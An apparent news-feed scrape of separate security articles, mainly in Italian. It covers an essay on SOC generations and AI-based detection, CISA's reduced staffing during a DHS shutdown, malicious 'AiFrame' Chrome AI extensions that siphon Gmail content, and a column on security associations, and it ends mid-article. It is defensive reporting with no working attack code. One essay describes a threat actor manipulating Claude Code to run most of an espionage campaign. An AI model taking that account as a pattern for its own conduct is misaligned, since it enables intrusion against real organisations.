In un precedente articolo[1] ho illustrato che cosa sono i Security Operations Center (SOC) e qual è la loro storia. In estrema sintesi, il SOC è un’entità organizzativa composta da processi, tecnologie e persone altamente qualificate dedicate al monitoraggio e all’indagine in tempo reale degli eventi di sicurezza con il fine di prevenire, rilevare e rispondere alle minacce cyber.

I SOC esistono – seppur con nomi, forme e caratteristiche diverse – da alcuni decenni. In questo senso è possibile tracciare un percorso evolutivo e utilizzare il termine “generazioni”, anche se è opportuno evidenziare che non esiste un ente normativo che le abbia ufficialmente standardizzate o formalizzate in qualche modo. Enti, aziende, istituti e analisti autorevoli hanno delineato nel tempo concetti che sono stati, de facto, accettati come narrativa di mercato. Oggi il concetto di generazione SOC è accettato comunemente pur non essendo uno standard formale: è una classificazione diffusa, non un modello normativo. Le comunità tecniche preferiscono esprimersi in termini di livelli di maturità, capability ed evoluzione dei modelli operativi[2].

L’Intelligenza Artificiale (IA) non rappresenta semplicemente un’evoluzione tecnologica per il SOC, ma un classico cambio di paradigma[3]. Negli ultimi anni la superficie di attacco si è ampliata in modo esponenziale: cloud ibrido, SaaS, IoT, lavoro remoto, identità distribuite. Parallelamente, gli attaccanti utilizzano automazione, malware polimorfico, social engineering avanzato e – sempre più – IA generativa. Siamo ormai a un punto di svolta in cui i modelli sono diventati realmente utili per le operazioni di sicurezza informatica, nel bene e nel male.

Dalle segnalazioni di attività di Vibe Hacking[4] – termine coniato dai ricercatori di sicurezza per descrivere l’uso di agenti di codifica IA per eseguire direttamente operazioni offensive sulle reti bersaglio – alla prima operazione di spionaggio informatico altamente sofisticata il passo è stato breve. Come riportato dal team di Anthropic[5], nella seconda metà di Settembre 2025 è stata rilevata una campagna di attacco in cui l’attore di minaccia (umano) ha manipolato Claude Code[6] per essere assistito nelle fasi di reconnaissance, vulnerability discovery, exploitation, lateral movement, credential harvesting, data analysis ed exfiltration. Anthropic ritiene che l’attore di minaccia abbia sfruttato l’IA per eseguire l’80%-90% delle operazioni tattiche, concentrandosi esclusivamente nelle attività strategiche di supervisione.

In questo contesto il volume di eventi supera la capacità umana di analisi, la qualità e la quantità degli attacchi aumentano a dismisura e il tempo di compromissione si riduce drasticamente. Il SOC non può difendere il proprio perimetro senza adottare le stesse armi tecnologiche degli avversari.

Una storia compatta delle generazioni SOC[7]

Parafrasando il titolo di un libro di David Foster Wallace[8] – Everything and More: A Compact History of Infinity (2003) – ho provato a condensare al massimo la complessa storia dei SOC rappresentandone gli attributi minimi indispensabili. Si tratta di una semplificazione arbitraria e quindi opinabile, ma nella consapevolezza dei limiti intrinseci ritengo necessario ricorrere a questo tipo di rappresentazione:

Generazione	Periodo	Principali Tecnologie	Missione	Modello operativo
Prima	1975-1995	Dispositivi di rete	Monitoraggio disponibilità	NOC
Seconda	1996-2001	Antivirus, IDS, Firewall	Monitoraggio reattivo	SOC
Terza	2002-2005	Antispam, IPS	Monitoraggio reattivo	SOC/MSSP
Quarta	2006-2012	DLP, SIEM	Monitoraggio proattivo	Hybrid SOC
Quinta	2013-2025	SOAR, XDR, CTI, UEBA	Monitoraggio proattivo con automazione	MDR

Tabella 1 – Generazioni SOC: attributi minimi

È una storia caratterizzata da trasformazioni continue scatenate da fattori interni (ruolo del SOC nel contesto dell’organizzazione, missione specifica in relazione agli obiettivi generali, adeguamento dei servizi e delle competenze) ed esterni (spostamento progressivo nello spazio cibernetico di beni e servizi tradizionalmente di pertinenza del mondo fisico e materiale, pervasività esponenziale della trasformazione digitale, aumento della superficie di attacco e conseguentemente di monitoraggio, evoluzione del panorama delle minacce cyber, continua innovazione tecnologica ed equilibri geopolitici turbolenti).

Ogni generazione SOC ha ampliato le proprie capacità operative e i relativi cataloghi di servizi, adottando modelli operativi adeguati al progressivo aumento del livello di complessità e di maturità nell’ambito delle operazioni di sicurezza. Dai primi SOC – pochi, interni e fortemente orientati alla dimensione di disponibilità dell’informazione e alle infrastrutture di rete – si è giunti a SOC proattivi, ibridi e/o esternalizzati, capaci di controllare infrastrutture digitali complesse, in grado di rispondere tempestivamente alle minacce cyber e caratterizzati dall’utilizzo esteso di automazione, playbook di risposta e tecnologie evolute.

Dal Panopticon al sistema nervoso

Le generazioni SOC disegnano una traiettoria che prende le mosse da un modello simile al Panopticon[9] e che tende, attualmente, a comportarsi come un sistema nervoso capace di correlare segnali deboli, automatizzare risposte e – auspicabilmente – anticipare le minacce cyber.

Il Panopticon, ideato da Jeremy Bentham[10], è un modello di prigione circolare in cui i detenuti sono disposti in celle (log, eventi) lungo il perimetro, al centro c’è una torre di controllo (strumenti del SOC, per esempio SIEM), il sorvegliante (SOC) può vedere tutti e i detenuti non sanno se in quel momento sono osservati. Il Panopticon è uno strumento di disciplina e controllo sociale, mentre il SOC è uno strumento di sicurezza e resilienza organizzativa.

Il sistema nervoso permette al corpo di percepire, decidere, reagire e, nelle forme più evolute, anticipare i pericoli. Il SOC, analogamente, rileva minacce e criticità, le analizza e risponde in modo coordinato e intelligente sfruttando alcuni elementi:

• Sensori (log, endpoint, rete, cloud, identità), simili ai recettori nervosi che raccolgono stimoli dall’ambiente;
• Strumenti (SIEM, EDR, etc), simili al midollo spinale e al cervello che ricevono, correlano e interpretano i segnali;
• Machine Learning, paragonabile alle funzioni cognitive che riconoscono schemi e apprendono dall’esperienza;
• Strumenti di orchestrazione e automazione (XSOAR), simili ai nervi motori che trasmettono rapidamente comandi ai muscoli (firewall, EDR, sistemi IAM, etc) per reagire tempestivamente;
• Azioni di risposta (tramite XSOAR: isolamento endpoint, blocco account, configurazione policy di blocco), simili ai riflessi o ai movimenti volontari dell’organismo.

Breve excursus tecnologico

Le tecnologie innovative alla base del SOC di nuova generazione sono diverse, ma le più interessanti sono essenzialmente tre: XDR, XSOAR e Machine Learning.

XDR rappresenta l’evoluzione della detection tradizionale verso un modello unificato e cross-domain. Integra telemetria proveniente da endpoint, rete, cloud, identità ed email in un’unica piattaforma, superando la tradizionale frammentazione in silos tecnologici. XDR effettua correlazioni avanzate tra eventi apparentemente isolati, ricostruendo automaticamente la kill chain dell’attacco. Riduce il numero di allarmi duplicati aggregandoli in incidenti e fornendo una visione contestuale e completa dell’attività malevola. XDR migliora la prioritizzazione attraverso assegnazione dinamica del punteggio di rischio agli eventi, integrandosi con piattaforme XSOAR per attivare risposte automatiche coordinate. Costituisce l’infrastruttura abilitante per un SOC integrato, predittivo e orientato alla resilienza operativa.

XSOAR (Extended Security Orchestration, Automation and Response) rappresenta il motore operativo del SOC di nuova generazione. Consente di integrare strumenti eterogenei – EDR, firewall, IAM, email security, vulnerability management – in un unico flusso coordinato. Attraverso playbook dinamici, automatizza attività ripetitive quali arricchimento, triage e apertura di ticket. XSOAR riduce il carico di lavoro manuale degli analisti SOC standardizzando i processi di gestione degli incidenti. Permette l’esecuzione automatica di azioni correttive, come l’isolamento di un endpoint o il blocco di una utenza compromessa.

Favorisce la coerenza operativa eliminando variabilità dovuta all’esperienza individuale. Supporta la tracciabilità completa delle azioni intraprese, migliorando audit e compliance. Si integra con piattaforme XDR per attivare contromisure in tempo reale e riduce significativamente il Mean Time To Respond (MTTR), trasformando il SOC da centro di analisi reattiva a sistema efficace, efficiente e industrializzato di risposta alla minaccia.

Il Machine Learning rappresenta il fondamento analitico del SOC cognitivo. Consente di identificare anomalie comportamentali non rilevabili tramite regole statiche o firme note. Attraverso modelli UEBA, analizza deviazioni nei comportamenti di utenti ed entità. Supporta la correlazione intelligente tra eventi provenienti da fonti diverse e riduce i falsi positivi grazie a modelli adattivi basati su baseline dinamiche. Il Machine Learning attribuisce punteggi di rischio contestuali agli incidenti, individua pattern di movimento laterale e attività pre-ransomware. Permette analisi predittive, stimando la probabilità di escalation di un attacco ed evolve il SOC agendo da piattaforma decisionale orientata alla prevenzione.

XDR, XSOAR e Machine Learning costituiscono lo stack tecnologico di riferimento dei SOC di nuova generazione:

Tecnologia	Funzione principale	Livello di intervento	Valore per il SOC	Beneficio operativo
XDR	Detection unificata e correlazione cross-domain	Raccolta e analisi integrata di endpoint, rete, cloud, identità	Visione completa della kill chain e riduzione dei silos	Migliore prioritizzazione e riduzione alert duplicati
XSOAR	Orchestrazione e automazione della risposta	Coordinamento tra strumenti e attivazione playbook	Standardizzazione dei processi e risposta automatizzata	Riduzione MTTR e carico operativo
Machine Learning	Analisi comportamentale e predittiva	Modelli adattivi su dati storici e in tempo reale	Identificazione anomalie e scoring dinamico del rischio	Riduzione falsi positivi e detection precoce

Tabella 2 – Stack tecnologico SOC di nuova generazione

Scenario tipico

Le tecnologie adottate dai SOC nella propria storia sono andate incontro a fenomeni di innovazione, accumulazione, obsolescenza e sostituzione, alimentando cicli di investimenti capaci di produrre vantaggi competitivi in alcuni casi, debiti tecnici e capacità subottimali in altri. Le analisi basate sulla raccolta degli eventi generati dagli oggetti interni al perimetro monitorato (event-driven) si sono consolidate seguendo la dinamica evolutiva delle tecnologie (SIEM, NG-SIEM, UEBA, etc), beneficiando sostanzialmente di nuove capacità di raccolta telemetrica e di comprensione dei flussi di rete (EDR, NDR, FCP, etc).

L’approccio event-driven, quello guidato dalla telemetria e quello basato sull’analisi dei flussi di rete rispondono a tre domande distinte, rispettivamente: “cosa è successo? è un comportamento anomalo? come si sta muovendo?”. La risposta a queste domande permette al SOC di costruire la narrazione completa di un attacco. Le tecnologie basate su evento offrono all’analisi del SOC la dimensione semantica e identitaria, mentre le tecnologie basate su telemetria esplorano la dimensione comportamentale e infrastrutturale. A titolo esemplificativo, consideriamo uno scenario di classico attacco ransomware:

• un utente riceve un messaggio di phishing con allegato malevolo;
• l’utente esegue l’allegato malevolo;
• il malware di turno va in esecuzione;
• il malware di cui sopra tenta il movimento laterale e avvia la cifratura.

Il SOC può effettuare l’analisi combinando i vari approcci analitici:

Approccio	Tecnologia	Allarme	Evidenza SOC	Limite
Basato su evento	Log Windows/Linux, allarmi EDR, SIEM, IAM, Active Directory	1) Apertura allegato email sospetto 2) Esecuzione processo anomalo (es. powershell.exe con parametri offuscati) 3) Creazione massiva di file con estensione sconosciuta 4) Modifica chiavi di registro (persistence) 5) Escalation privilegi o utilizzo account admin 6) Allarme EDR su comportamento ransomware-like	Identifica chi ha eseguito l’azione Individua quale processo ha avviato l’attacco Permette audit e ricostruzione forense Attiva playbook di contenimento (ad es. isolamento host)	Potrebbe non rilevare comunicazioni stealth o movimenti laterali silenziosi
Basato sui flussi di rete	NetFlow, IPFIX, packet inspection, NDR	7) Connessione verso IP Command & Control (C2) 8) Traffico DNS anomalo o DGA (Domain Generation Algorithm) 9) Movimento laterale SMB/RDP tra host interni 10) Picco improvviso di traffico verso storage interno 11) Pattern di esfiltrazione dati prima della cifratura	Visualizza come l’attacco si propaga Individua altri host compromessi Rileva attacchi anche se i log degli endpoint sono disabilitati Permette segmentazione o blocco di rete rapido	Non sempre identifica facilmente l’utente o il processo specifico
Basato sulla telemetria	EDR/XDR, UEBA, analisi comportamentale	12) Deviazione dal comportamento normale dell’utente 13) Accesso anomalo a cartelle condivise 14) Scrittura massiva e rapida su file system 15) Tentativi di disabilitazione antivirus 16) Pattern comportamentale compatibile con ransomware noto	Individua attacchi anche senza firma nota Riduce falsi positivi grazie a baseline comportamentale Attribuisce un risk score dinamico Supporta detection precoce (prima della cifratura massiva)	Richiede baseline accurata e dati storici affidabili

Tabella 3 – Approcci analitici del SOC

Ogni approccio, se adottato singolarmente, risulta insufficiente e strutturalmente limitato. La possibilità di integrare le analisi basate su evento, sui flussi di rete e sulla telemetria determina una visione integrata dell’attacco, apportando al SOC numerosi benefici, ad esempio:

• Timeline completa dell’attacco;
• Identificazione paziente zero;
• Contenimento rapido su tutti gli host coinvolti;
• Riduzione drastica del dwell time;
• Migliore capacità predittiva su escalation futura.

L’integrazione dell’IA nei SOC può effettivamente segnare il passaggio a un modus operandi adattivo e cognitivo, delineandone, a tutti gli effetti, una nuova (sesta!) generazione. Nell’esempio dell’attacco precedentemente descritto, l’IA non è un quarto approccio analitico separato, ma uno strato trasversale che opera potenziandoli tutti e unificandoli in una vista coerente (XDR). Il vero salto avviene quando l’IA:

• collega l’evento con il traffico e con il comportamento;
• costruisce automaticamente la timeline dell’attacco;
• assegna la priorità all’evento in base al potenziale impatto;
• suggerisce o attiva contromisure automatiche

A un livello di dettaglio maggiore, l’integrazione dell’IA nel SOC seguirebbe un flusso simile:

• Allarme EDR (evento);
• Traffico anomalo SMB (rete);
• Scrittura massiva file (telemetria);
• AI unifica tutto in un unico incidente critico;
• Attivazione automatica playbook XSOAR:
• Isolamento host
• Reset credenziali
• Blocco comunicazioni C2

Senza l’IA, il SOC dovrebbe gestire 16 (!) allarmi separati, mentre con l’IA potrebbe focalizzarsi su un unico incidente critico con possibilità di automatizzare la risposta.

IA: nuova era, nuova generazione ?

L’IA segna un punto di svolta nell’evoluzione dei SOC, gettando le basi per una vera e propria nuova generazione. Non si tratta semplicemente di integrare strumenti più avanzati, ma di ripensare l’intero modello operativo. Ci troviamo nella condizione di superare la logica reattiva e frammentata del passato adottando un approccio integrato, adattivo e predittivo.

L’adozione di IA evidenzia miglioramenti di tutti gli indicatori di performance (KPI) e di qualità dei servizi SOC, facilitando l’automazione progressiva –tramite playbook e agenti IA – di compiti, operazioni e sequenze di istruzioni operative ripetitive. Gli esseri umani del SOC, che ne costituiscono il valore maggiore, possono aumentare le proprie capacità operative da un lato, ridurre i carichi di lavoro e i fenomeni di alert fatigue[11] dall’altro.

Liberare tempo e risorse per spostare le proprie attività dall’ambito tattico a quello strategico, con tutte le difficoltà ma anche le opportunità di crescita correlate. Allo stesso tempo, emergono nuove sfide legate a governance, explainability e controllo dei modelli algoritmici. Il SOC del futuro dovrà bilanciare automazione e supervisione umana, tecnologia e responsabilità, competenze tecniche, trasversali e abilità relazionali. In un panorama in cui gli attaccanti sfruttano l’IA, la difesa deve evolvere di pari passo. Per queste ragioni, l’IA non rappresenta solo un miglioramento incrementale, ma l’inizio di una nuova era strategica per la cybersecurity.

Note:

[1] https://www.ictsecuritymagazine.com/articoli/security-operations-center-il-cuore-della-protezione-dellinformazione/

[2] NIST Cybersecurity Framework https://www.nist.gov/cyberframework

ENISA https://www.enisa.europa.eu/publications/how-to-set-up-csirt-and-soc

https://www.enisa.europa.eu/topics/incident-response/csirt-capabilities/csirt-maturity

SANS https://www.sans.org/posters/soc-metrics-cheat-sheet?utm_source=chatgpt.com

SOC-CMM https://www.soc-cmm.com/

[3] https://en.wikipedia.org/wiki/Paradigm_shift

[4] https://www-cdn.anthropic.com/b2a76c6f6992465c09a6f2fce282f6c0cea8c200.pdf

[5] https://assets.anthropic.com/m/ec212e6566a0d47/original/Disrupting-the-first-reported-AI-orchestrated-cyber-espionage-campaign.pdf

[6] https://en.wikipedia.org/wiki/Claude_(language_model)

[7] https://en.wikipedia.org/wiki/Everything_and_More_(book)

[8] https://en.wikipedia.org/wiki/David_Foster_Wallace

[9] https://en.wikipedia.org/wiki/Panopticon

[10] https://en.wikipedia.org/wiki/Jeremy_Bentham

[11] https://en.wikipedia.org/wiki/Alarm_fatigue

https://www.ictsecuritymagazine.com/articoli/evoluzione-soc/

Feb 16, 2026 Redazione In evidenza, News, RSS, Scenario 0

---

Il blocco delle attività del Department of Homeland Security scattato alle 00:01 del 14 febbraio 2026 non spegne CISA, ma la costringe a lavorare con un organico drasticamente ridotto.

In pratica l’agenzia resta in piedi solo per le funzioni considerate “essenziali” dall’Antideficiency Act, con 888 persone attive su 2.341, circa il 38% della forza lavoro. Il risultato è un paradosso operativo: la cybersecurity federale continua, ma con capacità e velocità inevitabilmente inferiori, mentre l’esposizione a campagne ransomware e sfruttamento massivo di vulnerabilità rimane costante.

Il vincolo legale non riguarda la possibilità materiale di lavorare, bensì il fatto che, senza stanziamenti del Congresso, i dipendenti non possano essere retribuiti e l’agenzia non possa avviare o proseguire attività non “eccezionali”. In termini concreti, molti lavoratori vengono messi in congedo forzato, mentre una quota rimane operativa (senza paga) nelle aree ritenute indispensabili a proteggere vita umana, proprietà e sicurezza nazionale. Questo meccanismo crea una tensione strutturale: la risposta agli incidenti resta formalmente possibile, ma la resilienza dipende da un perimetro di attività ristretto e da persone che devono garantire continuità in condizioni anomale.

La “collateral damage zone”: perché CISA paga il prezzo della politica

Nel racconto di queste ore, CISA finisce nel ruolo di danno collaterale. Alcune componenti del DHS restano di fatto meno coplpite dalla chiusura, mentre CISA deve selezionare cosa mantenere acceso e cosa rinviare. La conseguenza per chi fa sicurezza è immediata: meno team disponibili, meno progetti nuovi, più triage e più rinunce. E quando la gestione si sposta dalla pianificazione alla sopravvivenza operativa, il rischio più concreto non è solo “fare meno”, ma fare più lentamente ciò che conta di più.

Il testo chiarisce che i dipendenti mandati a casa possono essere richiamati se emerge un’esigenza riconducibile alle eccezioni previste: incidenti con impatto su infrastrutture critiche, minacce su larga scala, sfruttamento esteso di una falla capace di colpire sistemi strategici. L’esempio implicito è quello di eventi “sistemici”, come campagne ransomware su settori vitali o ondate di exploitation comparabili a quanto visto con log4j. In pratica, però, questi richiami sarebbero probabilmente chirurgici: verrebbero riattivati solo i gruppi con competenze specifiche sullo scenario in corso e anche loro opererebbero senza retribuzione.

KEV Catalog: luce accesa, ma con meno “bulbi” operativi

Tra i servizi destinati a rimanere in vita c’è il Known Exploited Vulnerabilities Catalog, diventato negli anni una sorgente di riferimento non solo per le agenzie federali, ma anche per SOC e vulnerability management di mezzo mondo. La parte cruciale è che il catalogo resta online e, se compare una vulnerabilità attivamente sfruttata con potenziale impatto su vita, proprietà o sicurezza nazionale, l’aggiornamento rientra con buona probabilità nel perimetro “eccezionale”. Il funzionamento del KEV soffre particolarmente questa situazione perché dietro una nuova voce nel catalogo non c’è un semplice copia-incolla di un CVE. Serve verificare lo sfruttamento, comprendere il contesto d’attacco, valutare disponibilità e qualità della patch o delle mitigazioni, coordinarsi con agenzie e stakeholder. Con una forza lavoro ridotta, la priorità tenderà a spostarsi verso gli eventi più urgenti e con exploitation in corso. Questo implica un effetto collaterale importante: l’inserimento o il “recall” di vulnerabilità più datate, pur sfruttate in passato o riemerse in nuove catene d’attacco, rischia di slittare. Per chi gestisce remediation a livello enterprise, la conseguenza è pratica: il segnale KEV potrebbe arrivare più tardi e quindi più tardi potrebbero allinearsi patching e compensating controls.

Inoltre, un conto è tenere disponibile il catalogo, un altro è far sì che chi è obbligato ad adeguarsi lo faccia davvero. Il testo suggerisce che le attività di enforcement e di “sollecito” sulla conformità potrebbero non rientrare tra le operazioni che continueranno a funzionare. In uno scenario del genere, la pressione organizzativa sulle realtà soggette agli obblighi si indebolisce e la compliance rischia di diventare più “volontaria” che guidata. Dal punto di vista della postura di sicurezza, è un passaggio delicato: il valore del KEV non è solo informativo, ma anche disciplinare perché impone priorità e tempi. Se la sorveglianza si attenua, cresce il rischio di backlog e di esposizione prolungata.

Non è “solo pubblico”: perché il settore privato globale deve ascoltare

È vero che la missione primaria di CISA è innalzare il livello di sicurezza delle agenzie federali e, per estensione, dell’ecosistema critico. Ma oggi KEV viene usato come strumento quotidiano da team di sicurezza ovunque, perché offre un criterio pragmatico: “questa vulnerabilità è sfruttata davvero, quindi va trattata come prioritaria”. Anche con l’agenzia in modalità ridotta, il KEV resta un riferimento globale e continuerà a influenzare triage, patch windows, decisioni di compensazione e metriche di esposizione. Il problema è la latenza: se l’informazione arriva più tardi, le aziende potrebbero scoprire più tardi che stanno inseguendo un rischio già diventato attivo.

---

• Antideficiency Act, CIRCIA, CISA, compliance, critical infrastructure, cyber threat intelligence, DHS shutdown, exploitation, FCEB, federal cybersecurity, furlough, governance cybersecurity, Incident response, KEV Catalog, Known Exploited Vulnerabilities, Log4j, patch management, Ransomware, supply chain security, vulnerability Management, vulnerability remediation

---

---

https://www.securityinfo.it/2026/02/16/lo-shotdown-usa-tarpa-le-ali-alla-cisa/?utm_source=rss&utm_medium=rss&utm_campaign=lo-shotdown-usa-tarpa-le-ali-alla-cisa

Funding for the Department of Homeland Security (DHS) will expire at 12 am on Saturday, February 14th. The shutdown comes as a result of disagreements over restrictions for current federal immigration operations. 

This shutdown will not affect all branches of the government, though workers serving under the DHS could see lapsed paychecks if the shutdown persists. A key concern is the impact the shutdown will have on the TSA, as the historic shutdown in late 2025 led to several flight cancelations. 

https://www.securitymagazine.com/articles/102125-dhs-shutdown-to-begin-saturday-february-14

Feb 13, 2026 Giancarlo Calzetta Attacchi, In evidenza, Malware, News, RSS 0

---

Un’inquietante campagna di cyberspionaggio ha colpito almeno 260.000 utenti Chrome, sfruttando il crescente interesse verso gli assistenti basati su intelligenza artificiale. Dietro un’apparente offerta di tool utili per scrivere, riassumere o leggere le email, si celano invece estensioni malevole progettate per rubare dati sensibili e informazioni personali.

AiFrame: l’infrastruttura della truffa

L’indagine è stata condotta da LayerX Security che ha ribattezzato l’operazione con il nome “AiFrame”. Tutte le estensioni riconosciute all’interno di questa campagna malevola, ben 32, condividono lo stesso codice base e comunicano con domini remoti sotto il controllo di tapnetic[.]pro, un’infrastruttura centralizzata che consente agli attaccanti di gestire in tempo reale i payload e le capacità delle estensioni.

Spesso, queste campagne durano poco dal momento che le estensioni vengono controllate spesso dagli esperti di sicurezza, ma AiFrame ha organizzato un sistema di “reincarnazione” automatica grazie al quale diverse estensioni rimosse dallo store ufficiale sono ricomparse con nuovi ID, mantenendo nome e funzionalità simili. È il caso di AI Sidebar, che dopo essere stata rimossa come “Gemini AI Sidebar” (con 80.000 installazioni) è riapparsa con un nuovo ID, già utilizzato da oltre 70.000 utenti.

Iframe invisibili e attacchi silenziosi

Uno degli elementi tecnici più pericolosi di AiFrame è l’uso degli iframe. L’interfaccia dell’estensione non è reale, ma è un overlay caricato da remoto che può essere modificato dinamicamente in ogni momento, senza passare da un aggiornamento ufficiale sul Chrome Web Store. Questo iframe è in grado di inviare comandi all’estensione, istruendola a leggere contenuti dalla pagina attiva.

Gli script iniettati sfruttano librerie come Readability di Mozilla per estrarre titoli, testi, metadata e contenuti leggibili. Le informazioni raccolte, inclusi eventuali token di autenticazione e contenuti dinamici, vengono poi trasmesse al dominio remoto, sfuggendo a ogni controllo dell’utente e di Google.

Gmail nel mirino: accesso completo ai contenuti

Circa la metà delle estensioni individuate si concentra su Gmail, implementando un codice comune per l’integrazione con la casella di posta. L’estensione è in grado di leggere i messaggi visibili, accedere ai contenuti delle conversazioni, e persino intercettare i testi in fase di scrittura. Tutti questi dati vengono silenziosamente inoltrati ai server remoti, senza che l’utente possa rendersene conto.

Il badge “Featured” assegnato ad alcune di queste estensioni, come nel caso di “AI Assistant”, aggrava ulteriormente la situazione: l’etichetta di qualità contribuisce a consolidare un falso senso di sicurezza, inducendo l’utente a fidarsi di un componente che, in realtà, agisce da agente malevolo nel browser.

L’ingegneria sociale dell’intelligenza artificiale

L’attacco è particolarmente insidioso perché sfrutta un fenomeno sociotecnico recente: l’interazione conversazionale con gli assistenti AI ha abbattuto le barriere di diffidenza, portando gli utenti a condividere più facilmente dati e contesti personali. Questa abitudine è stata trasformata dagli attaccanti in un punto di forza: gli iframe truccati simulano perfettamente le interfacce di strumenti noti come ChatGPT, Claude o Gemini, rendendo l’intercettazione praticamente invisibile.

Anche il riconoscimento vocale è stato utilizzato come vettore: alcune estensioni captano le parole pronunciate dagli utenti, le trascrivono e le inviano al server controllato dagli attaccanti, aggiungendo un ulteriore livello di sorveglianza invisibile.

Ancora disponibili, ancora pericolose

Nonostante la gravità della scoperta, molte delle estensioni malevole risultano ancora oggi disponibili sul Chrome Web Store. Google, al momento della pubblicazione del report, non ha rilasciato alcun commento ufficiale sulla vicenda.

Il report completo di LayerX elenca gli ID di tutte le estensioni coinvolte. Finché non verranno rimosse, il consiglio è di sospendere ogni fiducia verso gli assistenti AI installabili come estensioni browser, almeno fino a una verifica rigorosa delle fonti e dei permessi richiesti.

---

• AiFrame, API key leak, attacco iframe invisibile, Chrome Web Store, estensioni Chrome malevole, estensioni pericolose, furto dati Gmail, Intelligenza artificiale, LayerX Security, sicurezza browser, sicurezza informatica

---

---

https://www.securityinfo.it/2026/02/13/false-estensioni-ai-su-chrome-rubano-api-e-sessioni/?utm_source=rss&utm_medium=rss&utm_campaign=false-estensioni-ai-su-chrome-rubano-api-e-sessioni

I belong to six professional organizations. Or maybe it’s 13, 19, 26, or 47. I can’t be sure. The ones where I pay dues or volunteer I know well: ASIS International, the Life Safety Alliance, Chartered Security Professionals, and a couple of others. Then come the niche and industry-specific associations like the International Council of Shopping Centers, public-private partnerships such as OSAC and Infragard, and the countless ASIS Communities.

But wait, there’s more.

There are conference cohorts like the Security 500 Conference network. Digital communities like the National Insider Threat Special Interest Group. Expert-witness registries. Local civic groups. Professional identity networks like Don Morron’s AI PHYSEC TODAY. And, of course, the osmotic Friends of Chuck (FOC).

You get the point. We are awash in security and risk-based associations, societies, alliances, committees, and groups.

Most of these organizations have value and fierce advocates. They may all be necessary, or at least worthwhile to someone. But it gets confusing. In physical security alone, we have associations for general practitioners, senior executives, manufacturers, consultants, integrators, executive protection agents, officers, guard companies, and more.

So do we have too many associations? Or is the market simply meeting its own expanding demand? How should practitioners decide which deserve time and money? And, most relevant to this column, are we creating silos or complementary centers of excellence? If the latter, how do we connect them?

Chuck Andrews has held senior volunteer roles across ASIS, the International Foundation for Protection Officers, ACFE, the International Society of Crime Prevention Practitioners, the Energy Security Council, and more. Best known as the founder of FOC, a 100,000+-member global networking enterprise, he believes we’ve reached critical mass. “We’ve reached proliferation, not optimization,” Andrews says. “The problem isn’t quantity. It’s the lack of coordination.”

Christopher Stitt, CEO of CrisisLead and author of Scaling Pyramids: Leadership Lessons from a Mid-Level Bureaucrat, agrees that coordination is lacking but disagrees on saturation. “As the industry evolves, there will be calls for new organizations more narrowly focused on topics such as agentic AI,” he says. But he cautions that without deliberate communication, these groups risk becoming “thick-walled silos that prevent information exchange with the larger community.”

Nick Koziara, a corporate security manager and member of ISC2, IFPO, Infragard, TINYg, and ASIS, lands in between. “If we’re not at the saturation point, we’re definitely rapidly approaching it,” he says. “Attending even a significant portion of their events becomes a challenge, and that leads to diminishing returns on membership value.”

Some practitioners welcome the proliferation. Paul Michaels, a CSO and founder of a leadership forum, says new organizations counterbalance legacy groups that drift from their core mission. Parvenu organizations, he notes, “force legacy groups to remain relevant, and often deliver more focused, practical value at a lower cost.”

Garry Bergin, a highly decorated Irish security consultant with senior roles in ISRM, IFPO, and the Security Institute of Ireland, sees something else driving the growth. “Everyone has to find their niche,” he says. “Everyone wants to be everything to everybody. They all say, ‘We are the gold standard.’” He adds that many new groups appear, and disappear, within a year.

Competition among associations isn’t always benign. Feuds and turf battles emerge when multiple groups claim the same mandate. Even when groups get along, practitioners still face hard choices about where to invest limited budget and attention. As Koziara puts it, “When organizations complement each other across verticals or career stages, it works great; but when they become redundant and you need to pick favorites, everyone’s going to lose eventually.”

Niche groups — for NGOs, privacy professionals, intelligence analysts, and others — offer targeted expertise, but Andrews warns that the line between specialization and duplication is thin. “Specialization strengthens expertise,” he says, “but duplication fragments influence and confuses emerging leaders.” Bergin adds another complication: ego. “The problem in the industry is ego and testosterone,” he says — forces that can make collaboration harder than it needs to be.

Despite that, Bergin argues that collaboration is the key to everything. “In Ireland, I sit on nearly all the boards,” he says. “I pull them all together toward the end of the year.” His annual convenings bring multiple associations — professional, academic, and volunteer — into the same room. “We even issue a certificate with everyone’s logos. Everyone gets credit. Everyone participates.”

Collaboration is also the hallmark of the Life Safety Alliance (full disclosure: I serve as its president), which was founded on the premise that influence grows when groups coordinate rather than compete.

Asked where collaboration would most benefit the profession, Andrews doesn’t hesitate: bridging the longstanding divide between corporate security and law enforcement. “The two largest ecosystems in this profession barely collaborate at scale,” he laments.

Stitt points to another missed connection: ASIS and the International Association of Emergency Managers (IAEM). “Emergency management is a huge part of the security profession,” he says, yet IAEM, focused on government, often overlooks private-sector engagement.

Michaels, who helped architect collocated ASIS–Infragard events, believes collaboration can be structured and replicable. “Security organizations can collaborate like academic institutions,” he says, “through jointly hosted conferences, shared publications, co-sponsored seminars, and integrated training programs.”

So how do security and risk professionals choose wisely among the hundreds of options? Andrews recommends a disciplined ROI lens: “Choose associations that expand your network, sharpen your craft, and put you in rooms that lead to opportunity. If you don’t get articulable ROI, move on.” Stitt offers a simple starting model: pick two: “a large umbrella organization such as ASIS or SIA, and a smaller one that provides focus and context to what you actually work on.”

Perhaps security doesn’t suffer from too many associations but from too little integration. The leaders who will thrive in the coming decade aren’t the ones who join everything, but the ones who join wisely, show up fully, and help stitch the profession together.

https://www.securitymagazine.com/articles/102116-plenty-of-associations-but-not-enough-association

Feb 12, 2026 Redazione In evidenza, News, RSS, Scenario 0

---

Nell’ultimo High-Tech Crime Trends Report 2026 realizzato da Group-IB, leader globale nella cybersecurity e nell’investigazione dei crimini digitali, emerge un quadro inquietante sull’evoluzione delle minacce. Lo studio, frutto di un monitoraggio costante effettuato dai centri DCRC in 11 paesi e basato su telemetria e investigazioni sul campo, è stato concepito per fornire a governi e aziende una utile guida per anticipare i rischi di un panorama cyber sempre più interconnesso.

L’industrializzazione del rischio nella supply chain moderna

Da qualche tempo, ormai, l’attenzione dei gruppi dediti al cybercrimine si sta spostando dalle singole infrastrutture verso l’intero ecosistema di fiducia che lega fornitori e clienti finali. Secondo l’analisi di Group-IB, non siamo più di fronte a intrusioni isolate ma a una vera e propria compromissione sistemica delle catene di approvvigionamento tecnologico globale. Gli attaccanti hanno compreso che colpire un singolo vendor SaaS, un fornitore di servizi gestiti o un repository di codice significa ottenere un accesso immediato e persistente a centinaia di organizzazioni a valle della catena di distribuzione del servizio o del  software. Questo cambio di paradigma trasforma una singola vulnerabilità locale in un effetto domino capace di paralizzare interi settori industriali con un’efficienza operativa senza precedenti.

La militarizzazione del codice aperto e dei flussi d’identità

